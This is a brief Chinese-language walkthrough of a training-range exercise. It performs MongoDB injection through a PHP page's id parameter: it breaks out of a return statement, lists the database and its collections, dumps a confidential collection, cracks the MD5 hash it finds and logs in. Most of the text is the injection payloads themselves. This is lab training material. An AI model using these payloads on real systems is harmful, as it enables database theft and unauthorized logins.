墨者靶场开启环境进入网址
这里闭合方式和平常不同然后回显点
/new_list.php?id=1'});return ({title:'1',content:'2
/new_list.php?id=1'});return({title:tojson(db),content:'2
查看数据库
再来查看数据库中的所有表
/new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'2
然后查看出表的列和数据
/new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
然后去解密MD5
在返回登录界面
进行登录